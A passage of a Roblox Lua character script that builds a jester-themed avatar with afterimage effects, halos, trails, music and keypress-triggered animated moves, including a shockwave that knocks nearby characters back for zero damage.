.5 mfMask = Instance.new("SpecialMesh", fakemask) mfMask.MeshType = "FileMesh" mfMask.Scale = Vector3.new(0.13, 0.13, 0.1) mfMask.MeshId = 'http://www.roblox.com/asset/?id=5158270' table.insert(ghosttable,fakemask) removeuseless:AddItem(fakemask,3) fakejester = Instance.new("Part",Character) fakejester.Size = Vector3.new(2,2,2) fakejester.CFrame = jester.CFrame fakejester.CanCollide = false fakejester.Transparency = .5 fakejester.Anchored = true fakejester.BrickColor = BrickColor.new("White") fakejesterm = Instance.new("SpecialMesh", fakejester) fakejesterm.MeshType = "FileMesh" fakejesterm.Scale = Vector3.new(1.1, 1.1, 1.1) fakejesterm.MeshId = 'rbxassetid://1241662062' table.insert(ghosttable,fakejester) removeuseless:AddItem(fakejester,3) fakehead = Instance.new("Part",Character) fakehead.Size = Vector3.new(1.01,1.01,1.01) fakehead.Anchored = true fakehead.CanCollide = false fakehead.Transparency = .99 fakehead.BrickColor = BrickColor.new("White") fakehead.Material = "Neon" fakehead.CFrame = Head.CFrame fakeheadmesh = Instance.new("SpecialMesh",fakehead) fakeheadmesh.MeshType = "Head" fakeheadmesh.Scale = Vector3.new(1.255,1.255,1.255) table.insert(ghosttable,fakehead) removeuseless:AddItem(fakehead,3) fakelarm = Instance.new("Part",Character) fakelarm.CFrame = LeftArm.CFrame fakelarm.Size = Vector3.new(1,2,1) fakelarm.CanCollide = false fakelarm.Transparency = .5 fakelarm.Material = "Neon" fakelarm.Anchored = true table.insert(ghosttable,fakelarm) removeuseless:AddItem(fakelarm,3) fakerarm = Instance.new("Part",Character) fakerarm.CFrame = RightArm.CFrame fakerarm.Size = Vector3.new(1,2,1) fakerarm.Transparency = .5 fakerarm.CanCollide = false fakerarm.Material = "Neon" fakerarm.Anchored = true table.insert(ghosttable,fakerarm) removeuseless:AddItem(fakerarm,3) fakelleg = Instance.new("Part",Character) fakelleg.CFrame = LeftLeg.CFrame fakelleg.Size = Vector3.new(1,2,1) fakelleg.Transparency = .5 fakelleg.CanCollide = false fakelleg.Material = "Neon" fakelleg.Anchored = true table.insert(ghosttable,fakelleg) removeuseless:AddItem(fakelleg,3) fakerleg = Instance.new("Part",Character) fakerleg.CFrame = RightLeg.CFrame fakerleg.Size = Vector3.new(1,2,1) fakerleg.Transparency = .5 fakerleg.CanCollide = false fakerleg.Material = "Neon" fakerleg.Anchored = true table.insert(ghosttable,fakerleg) removeuseless:AddItem(fakerleg,3) fakeTorso = Instance.new("Part",Character) fakeTorso.CFrame = Torso.CFrame fakeTorso.Size = Vector3.new(2,2,1) fakeTorso.Transparency = .5 fakeTorso.CanCollide = false fakeTorso.Material = "Neon" fakeTorso.Anchored = true table.insert(ghosttable,fakeTorso) removeuseless:AddItem(fakeTorso,3) end ghosttable={} coroutine.wrap(function() while true do for i,v in pairs(ghosttable) do v.Transparency = v.Transparency + 0.025 end wait() end end)() function MAKETRAIL(PARENT,POSITION1,POSITION2,LIFETIME,COLOR) A = Instance.new("Attachment", PARENT) A.Position = POSITION1 A.Name = "A" B = Instance.new("Attachment", PARENT) B.Position = POSITION2 B.Name = "B" tr1 = Instance.new("Trail", PARENT) tr1.Attachment0 = A tr1.Attachment1 = B tr1.Enabled = true tr1.Lifetime = LIFETIME tr1.TextureMode = "Static" tr1.LightInfluence = 0 tr1.Color = COLOR tr1.Transparency = NumberSequence.new(0, 1) end function clean() damageall={} Repeater={} Repeater2={} nonmeshRepeater={} nonmeshRepeater2={} dmgii={} DamageAll2={} SlowlyFade={} th1={} th2={} th3={} Extreme={} ExtremeM={} ExtremeM2={} m3={} th4={} th5={} UpMover={} openshocktable={} LessSize={} ForwardMover={} FadeIn={} signtransparency={} signmover={} signrotator={} end coroutine.wrap(function() while wait() do hum.WalkSpeed = ws end end)() coroutine.wrap(function() for i,v in pairs(Character:GetChildren()) do if v.Name == "Animate" then v:Remove() end end end)() function damagealll(Radius,Position) local Returning = {} for _,v in pairs(workspace:GetChildren()) do if v~=Character and v:FindFirstChildOfClass('Humanoid') and v:FindFirstChild('Torso') or v:FindFirstChild('UpperTorso') then if v:FindFirstChild("Torso") then local Mag = (v.Torso.Position - Position).magnitude if Mag < Radius then table.insert(Returning,v) end elseif v:FindFirstChild("UpperTorso") then local Mag = (v.UpperTorso.Position - Position).magnitude if Mag < Radius then table.insert(Returning,v) end end end end return Returning end ArtificialHB = Instance.new("BindableEvent", script) ArtificialHB.Name = "Heartbeat" script:WaitForChild("Heartbeat") frame = 1 / 60 tf = 0 allowframeloss = false tossremainder = false lastframe = tick() script.Heartbeat:Fire() game:GetService("RunService").Heartbeat:connect(function(s, p) tf = tf + s if tf >= frame then if allowframeloss then script.Heartbeat:Fire() lastframe = tick() else for i = 1, math.floor(tf / frame) do script.Heartbeat:Fire() end lastframe = tick() end if tossremainder then tf = 0 else tf = tf - frame * math.floor(tf / frame) end end end) function swait(num) if num == 0 or num == nil then game:service("RunService").Stepped:wait(0) else for i = 0, num do game:service("RunService").Stepped:wait(0) end end end doomtheme = Instance.new("Sound", Torso) doomtheme.Volume = 3 doomtheme.Name = "doomtheme" doomtheme.Looped = true doomtheme.SoundId = "rbxassetid://1843358057" doomtheme:Play() Torso.ChildRemoved:connect(function(removed) if removed.Name == "doomtheme" then if levitate then doomtheme = Instance.new("Sound", Torso) doomtheme.Volume = 3 doomtheme.Name = "doomtheme" doomtheme.Looped = true doomtheme.SoundId = "rbxassetid://1382488262" doomtheme:Play() doomtheme.TimePosition = 20.7 else doomtheme = Instance.new("Sound", Torso) doomtheme.Volume = 3 doomtheme.Name = "doomtheme" doomtheme.Looped = true doomtheme.SoundId = "rbxassetid://1843358057" doomtheme:Play() end end end) glow = Instance.new("Part",Head) glow.Size = Vector3.new(.488,.3,.1) glow.CanCollide = false glow.Material = "Neon" glow.Transparency = 1 glow.BrickColor = BrickColor.new("Really white") glowweld = weldBetween(glow,Head) glowweld.C0 = CFrame.new(0,.2,.565) leftlocation = Instance.new("Part",LeftArm) leftlocation.Size = Vector3.new(1,1,1) leftlocation.Transparency = 1 leftlocationweld = weldBetween(leftlocation,LeftArm) leftlocationweld.C0 = CFrame.new(0,1.2,0) rightlocation = Instance.new("Part",RightArm) rightlocation.Size = Vector3.new(1,1,1) rightlocation.Transparency = 1 rightlocationweld = weldBetween(rightlocation,RightArm) rightlocationweld.C0 = CFrame.new(0,1.2,0) fakehed = Instance.new("Part",Character) fakehed.Size = Vector3.new(1.01,1.01,1.01) fakehed.Anchored = false fakehed.CanCollide = false fakehed.Transparency = 1 fakehed.BrickColor = BrickColor.new("Really black") fakehed.Material = "Neon" fakehed.CFrame = Head.CFrame fakehedweld = weldBetween(fakehed,Head) fakehedmesh = Instance.new("SpecialMesh",fakehed) fakehedmesh.MeshType = "Head" fakehedmesh.Scale = Vector3.new(1.255,1.255,1.255) jester = Instance.new("Part",Character) jester.Size = Vector3.new(2,2,2) jester.CFrame = Head.CFrame jester.CanCollide = false jesterWeld = Instance.new("Weld",jester) jesterWeld.Part0 = jester jesterWeld.Part1 = Head jester.Transparency = 1 jesterWeld.C0 = jester.CFrame:inverse() * Head.CFrame * CFrame.new(0,-.3,0) * CFrame.Angles(math.rad(0),math.rad(90),0) mjester = Instance.new("SpecialMesh", jester) mjester.MeshType = "FileMesh" mjester.Scale = Vector3.new(1.1, 1.1, 1.1) mjester.MeshId,mjester.TextureId = 'rbxassetid://1241662062','rbxassetid://1241662395' mask = Instance.new("Part",Character) mask.Size = Vector3.new(1,1,1) mask.CFrame = Head.CFrame mask.CanCollide = false mask.Transparency = 0.99 maskweld = weldBetween(mask,Head) maskweld.C0 = CFrame.new(0,-.555,0) * CFrame.Angles(math.rad(90),0,0) mMask = Instance.new("SpecialMesh", mask) mMask.MeshType = "FileMesh" mMask.Scale = Vector3.new(0.13, 0.13, 0.1) mMask.MeshId,mMask.TextureId = 'http://www.roblox.com/asset/?id=5158270','http://www.roblox.com/asset/?id=9543585' eyo1 = Instance.new("Part",Head) eyo1.BrickColor = BrickColor.new("White") eyo1.Material = "Neon" eyo1.Shape = "Ball" eyo1.Name = "eyo1" eyo1.CanCollide = false eyo1.Transparency = 1 eyo1.Size = Vector3.new(0.33, 0.33, 0.33) eyo1weld = weldBetween(eyo1,Head) eyo1weld.C0 = CFrame.new(.215,-.05,.52) light = Instance.new("PointLight", eyo1) light.Color = Color3.new(1,1,1) light.Range = 3 light.Brightness = 4 light.Enabled = true eyo2 = Instance.new("Part",Head) eyo2.BrickColor = BrickColor.new("White") eyo2.Material = "Neon" eyo2.Shape = "Ball" eyo2.Name = "eyo2" eyo2.Transparency = 1 eyo2.CanCollide = false eyo2.Size = Vector3.new(0.33, 0.33, 0.33) eyo2weld = weldBetween(eyo2,Head) eyo2weld.C0 = CFrame.new(-.215,-.05,.52) light2 = Instance.new("PointLight", eyo2) light2.Color = Color3.new(1,1,1) light2.Range = 3 light2.Brightness = 4 light2.Enabled = true function SOUND(PARENT,ID,VOL,LOOP,REMOVE) so = Instance.new("Sound") so.Parent = PARENT so.SoundId = "rbxassetid://"..ID so.Volume = VOL so.Looped = LOOP so:Play() removeuseless:AddItem(so,REMOVE) end mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='r' then if levitate then return end if debounce then return end debounce = true attacking = true appi = true ws = 0 coroutine.wrap(function() while appi do wait() if Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle2" end end end)() coroutine.wrap(function() while appi do wait() settime = 0.05 sine = sine + change if position == "Idle2" and attacking == true and appi == true then change = .4 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) end end end)() for i = 1, 20 do ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,1.5,-.1),.5) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10),math.rad(10)),.3) swait() end SOUND(RightArm,342337569,6,false,1) coroutine.wrap(function() for i = 1, 9 do RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(.1,1.6,-.1),.5) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10),math.rad(15)),.3) swait() end for i = 1, 9 do RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,1.5,-.1),.5) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,0,0) * CFrame.Angles(math.rad(180),math.rad(10),math.rad(10)),.3) swait() end end)() shockwave = Instance.new("Part",Torso) shockwave.Shape = "Ball" shockwave.Size = Vector3.new(1,1,1) shockwave.BrickColor = BrickColor.new("White") shockwave.Material = "Neon" shockwave.CFrame = Torso.CFrame shockwave.CanCollide = false shockwave.Anchored = true coroutine.wrap(function() for i = 1, 20 do shockwave.Size = shockwave.Size + Vector3.new(1.8,1.8,1.8) shockwave.Transparency = shockwave.Transparency + 0.05 wait() end end)() SOUND(Torso,1072606965,0,false,10) coroutine.wrap(function() for i = 1, 10 do so.Volume = so.Volume + 0.3 wait() end end)() for i = 1, 35 do local Hit = damagealll(22,Torso.Position) for _,v in pairs(Hit) do v:FindFirstChildOfClass("Humanoid"):TakeDamage(math.random(0,0)) vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")) vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999) torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso") vel.velocity = CFrame.new(Torso.Position,torso.Position).lookVector*20 removeuseless:AddItem(vel,.1) end wave = Instance.new("Part", Torso) wave.Size = Vector3.new(1, 1, 1) wave.Transparency = 0 wave.BrickColor = BrickColor.new("White") wave.Anchored = true wave.CanCollide = false wave.CFrame = Root.CFrame * CFrame.new(0, -2.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)) wavemesh = Instance.new("SpecialMesh", wave) wavemesh.MeshId = "rbxassetid://20329976" wavemesh.Scale = Vector3.new(1, 1, 1) table.insert(th2,wave) table.insert(SlowlyFade,wave) table.insert(th5,wavemesh) removeuseless:AddItem(wave,2) CardStorm = Instance.new("Part",Torso) CardStorm.Size = Vector3.new(.1,.1,.1) CardStorm.CFrame = Root.CFrame * CFrame.new(0,3.2,0) CardStorm.Anchored = true CardStormMesh = Instance.new("SpecialMesh", CardStorm) CardStormMesh.Scale = Vector3.new(1,1,1) CardStormMesh.MeshId = "rbxassetid://6512150" CardStormMesh.TextureId = "rbxassetid://55364685" table.insert(SlowlyFade,CardStorm) table.insert(m3,CardStormMesh) table.insert(th1,CardStorm) removeuseless:AddItem(CardStorm,3) wait(.1) end coroutine.wrap(function() for i = 1, 10 do so.Volume = so.Volume - 0.3 wait() end end)() wait(1) ws = 10 clean() attacking = false debounce = false appi = false end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='e' then if levitate then return end if debounce then return end attacking = true debounce = true damagedebounce = false clickdisallowance = true clickdebounce = false notallowed = true appi = true ws = 0 coroutine.wrap(function() while appi do wait() if Root.Velocity.y > 1 and attacking == true then position = "Jump2" elseif Root.Velocity.y < -1 and attacking == true then position = "Falling2" elseif Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle2" elseif Root.Velocity.Magnitude > 2 and attacking == true then position = "Walking2" end end end)() coroutine.wrap(function() while appi do wait() settime = 0.05 sine = sine + change if position == "Jump2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(3),math.rad(4)), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4) elseif position == "Falling2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-20)), 0.2) elseif position == "Idle2" and attacking == true and appi == true then change = .4 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) elseif position == "Walking2" and attacking == true and appi == true then change = .8 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3) RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,math.rad(0) + Root.RotVelocity.Y/30,math.sin(25*math.sin(sine/8))),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.sin(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.sin(sine/1), math.rad(0) + RightLeg.RotVelocity.Y / 30, math.sin(25 * math.sin(sine/8))), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.sin(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.sin(sine/1), math.rad(0) + LeftLeg.RotVelocity.Y / 30, math.sin(25 * math.sin(sine/8))), 0.3) end end end)() coroutine.wrap(function() for i = 1, 40 do LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0),.5) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.2,1.5,0) * CFrame.Angles(math.rad(180 - 7 * math.sin(sine/6)),math.rad(7 * math.sin(sine/6)),math.rad(7*math.sin(sine/6))), 0.5) swait() end end)() haloh = Instance.new("Part", Torso) haloh.Size = Vector3.new(1,1,1) haloh.Anchored = false haloh.Transparency = 1 haloh.CanCollide = false halohweld = weldBetween(haloh,Torso) halohweld.C0 = CFrame.new(0,0,0) n = 0 x = 0 tab={} tab2={} SOUND(Torso,1882057730,6,false,2) for i = 1, 20 do n = n + 20 x = x + 5 halo = Instance.new("Part", Torso) halo.Size = Vector3.new(0.71, 0.07, 0.99) halo.Transparency = 1 halo.CanCollide = false halo.Material = "Neon" halo.BrickColor = BrickColor.new("White") halow = weldBetween(halo,haloh) halow.C0 = CFrame.new(-4,0,0) * CFrame.Angles(math.rad(90),math.rad(n),math.rad(0)) table.insert(FadeIn,halo) table.insert(tab,halow) table.insert(tab2,halo) wait() end ws = 10 clickdisallowance = false coroutine.wrap(function() g1 = Instance.new("BodyGyro", Root) g1.D = 175 g1.P = 20000 g1.MaxTorque = Vector3.new(0,9000,0) while notallowed do ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(3), math.rad(4)), 0.3) swait() end end)() coroutine.wrap(function() mouse.Button1Down:connect(function() if clickdisallowance then return end if clickdebounce then return end wait(.2) clickdebounce = true notallowed = false end) end)() while notallowed do for i,v in pairs(tab) do v.C0 = v.C0 * CFrame.Angles(math.rad(0),math.rad(0 + 1.2),math.rad(0)) end swait() end appi = false ws = 0 for i = 1, 15 do RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(50), math.rad(0)), 0.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-50 - 2 * math.sin(sine/12)), math.rad(12), math.rad(9)), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(-.65, .6, 1) * CFrame.Angles(0,0,0),.3) swait() end for i,v in pairs(tab) do v:Remove() end for i,v in pairs(tab2) do removeuseless:AddItem(v,6) MAKETRAIL(v,Vector3.new(.1,0,0),Vector3.new(-.1,0,0),.8,ColorSequence.new(BrickColor.new("White").Color,BrickColor.new("Really black").Color)) BodyGyro=Instance.new('BodyGyro',v) BodyGyro.maxTorque=Vector3.new(math.huge,math.huge,math.huge) BodyGyro.P=2e4 removeuseless:AddItem(BodyGyro,.1) PB2 = Instance.new("BodyVelocity", v) PB2.MaxForce = Vector3.new(999999, 999999, 999999) v.CFrame = CFrame.new(v.Position,mouse.Hit.p) PB2.Velocity = v.CFrame.lookVector * 80 end SOUND(Torso,1499747506,3,false,1) for i,v in pairs(tab2) do v.Touched:connect(function(hit) if hit.Parent:IsA("Part") then elseif hit.Parent:IsA("SpecialMesh") then elseif hit.Parent.Name == game.Players.LocalPlayer.Name then elseif hit.Parent:findFirstChildOfClass("Humanoid") then if damagedebounce == true then return end damagedebounce = true Slachtoffer = hit.Parent:findFirstChildOfClass("Humanoid") tor = hit.Parent:FindFirstChild("Torso") or hit.Parent:FindFirstChild("UpperTorso") Slachtoffer:TakeDamage(math.random(0,0)) SOUND(tor,694703797,6,false,1) wait(.1) damagedebounce = false end end) end for i = 1, 20 do RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(-25), math.rad(0)), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(-15), math.rad(4)), 0.3) swait() end clean() g1:Remove() haloh:Remove() attacking = false debounce = false damagedebounce = false clickdebounce = false appi = false ws = 10 end end) mouse.KeyDown:connect(function(Press) Press=Press:lower() if Press=='y' then if levitate then return end if debounce then return end clickdisallowance = true clickdebounce = false debounce = true attacking = true appi = true ws = 0 coroutine.wrap(function() while appi do wait() if Root.Velocity.y > 1 and attacking == true then position = "Jump2" elseif Root.Velocity.y < -1 and attacking == true then position = "Falling2" elseif Root.Velocity.Magnitude < 2 and attacking == true then position = "Idle2" elseif Root.Velocity.Magnitude > 2 and attacking == true then position = "Walking2" end end end)() coroutine.wrap(function() while appi do wait() settime = 0.05 sine = sine + change if position == "Jump2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(-3),math.rad(-4)), 0.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4) elseif position == "Falling2" and attacking == true and appi == true then change = 1 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(20)), 0.2) elseif position == "Idle2" and attacking == true and appi == true then change = .4 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * CFrame.Angles(math.rad(30),math.rad(-5 + 1 * math.sin(sine/12)),math.rad(-40 + 2 * math.sin(sine/12))), 0.3) LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(.2,1.2,-.3),.3) ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2 + -.1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0)),.3) RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3) LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0 - .1 * math.sin(sine/12), 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3) elseif position == "Walking2" and attacking == true and appi == true then change = .8 LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1) RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1) LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1.5,.6,-.5) * 